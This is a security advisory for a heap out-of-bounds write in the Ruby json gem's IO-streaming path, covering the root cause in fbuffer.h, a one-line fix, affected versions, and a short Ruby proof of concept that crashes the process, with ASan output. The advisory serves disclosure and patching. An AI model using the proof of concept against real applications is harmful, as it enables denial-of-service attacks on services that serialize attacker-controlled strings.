GHSA-x2f5-4prf-w687

Suggest an improvement
Source
https://github.com/advisories/GHSA-x2f5-4prf-w687
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-x2f5-4prf-w687/GHSA-x2f5-4prf-w687.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x2f5-4prf-w687
Aliases
Downstream
Related
Published
2026-07-23T19:48:08Z
Modified
2026-07-24T21:14:43.381008237Z
Severity
  • 3.7 (Low) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
Ruby json: JSON generator heap buffer overflow when streaming to an IO
Details

Summary

JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.

Details

Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().

On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the early return checks total capacity instead of remaining capacity:

if (RB_UNLIKELY(fb->io)) {
    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
    } else {
        fbuffer_flush(fb);
    }

    if (RB_LIKELY(requested < fb->capa)) {
        return;
    }
}

If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbuffer_append_reserved() then writes past the buffer:

MEMCPY(fb->ptr + fb->len, newstr, char, len);

The minimal fix is to compare against the remaining capacity:

-        if (RB_LIKELY(requested < fb->capa)) {
+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {
             return;
         }

PoC

require "json"
require "stringio"

io = StringIO.new
big = "a" * 16385
big[16382] = '"'          # escapable byte near the buffer boundary

JSON.dump([big], io)

Verified results:

Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145
  search_flush             ext/json/generator/generator.c:139
  convert_UTF8_to_JSON     ext/json/generator/generator.c:231
  raw_generate_json_string ext/json/generator/generator.c:922
  cState_m_generate        ext/json/generator/generator.c:1891

Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.

Impact

A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

Database specific
{
    "nvd_published_at": "2026-06-30T23:17:28Z",
    "cwe_ids": [
        "CWE-122",
        "CWE-131",
        "CWE-787"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T19:48:08Z"
}
References

Affected packages

RubyGems / json

Package

Name
json
Purl
pkg:gem/json

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.9.0
Fixed
2.19.9

Affected versions

2.*
2.9.0
2.9.1
2.10.0
2.10.1
2.10.2
2.11.0
2.11.1
2.11.2
2.11.3
2.12.0
2.12.1
2.12.2
2.13.0
2.13.1
2.13.2
2.14.0
2.14.1
2.15.0
2.15.1
2.15.2
2.15.2.1
2.16.0
2.17.0
2.17.1
2.17.1.2
2.18.0
2.18.1
2.19.0
2.19.1
2.19.2
2.19.3
2.19.4
2.19.5
2.19.6
2.19.7
2.19.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-x2f5-4prf-w687/GHSA-x2f5-4prf-w687.json"